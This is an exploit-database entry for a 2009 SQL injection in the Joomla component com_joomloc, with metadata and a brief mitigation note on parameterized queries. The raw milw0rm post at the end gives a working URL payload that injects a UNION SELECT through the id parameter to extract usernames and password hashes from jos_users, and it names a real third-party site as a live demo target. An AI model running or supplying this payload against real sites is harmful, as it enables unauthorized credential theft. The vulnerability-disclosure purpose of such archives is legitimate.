Joomla Component com_joomloc (id) SQL-injection Vulnerability

vendor:

Joomloc

by:

Chip D3 Bi0s

7.5

CVSS

HIGH

SQL injection

CWE

Product Name: Joomloc

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: N/A

CPE: a:joomla:joomla

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

Joomla Component com_joomloc (id) SQL-injection Vulnerability

A SQL injection vulnerability exists in the Joomla Component com_joomloc (id). An attacker can send a specially crafted HTTP request containing malicious SQL code to the vulnerable application in order to execute arbitrary SQL commands in the back-end database.

Mitigation:

Developers should always use parameterized queries to prevent SQL injection attacks. Additionally, input validation should be performed to ensure that user-supplied data does not contain malicious SQL code.

Source

Exploit-DB raw data:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_joomloc (id) SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Email         :  chipdebios[alt+64]gmail.com
[+] Group         :  LatinHackTeam
[+] Vulnerability :  SQL injection 

###################################################

Info component:

Name 		: Joomloc
Version		: 1.0
Compatibility   : 1.5 Native
License         : GPL                 Type : Comercial
Date Added      : 5 September 2009
Demo            : http://www.joomloc.fr.nf

more info       : http://extensions.joomla.org/extensions/vertical-markets/booking-a-reservation/9208
###################################################

Example:
http://localhost/path/index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1[SQL code]

Demo Live:
http://www.holiday-location.com/index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1 and 1=2 union select 1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56+from+jos_users

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-09-09]